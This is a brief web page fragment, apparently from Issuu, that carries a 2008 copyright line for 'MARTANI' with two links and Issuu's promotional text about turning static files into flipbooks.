Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.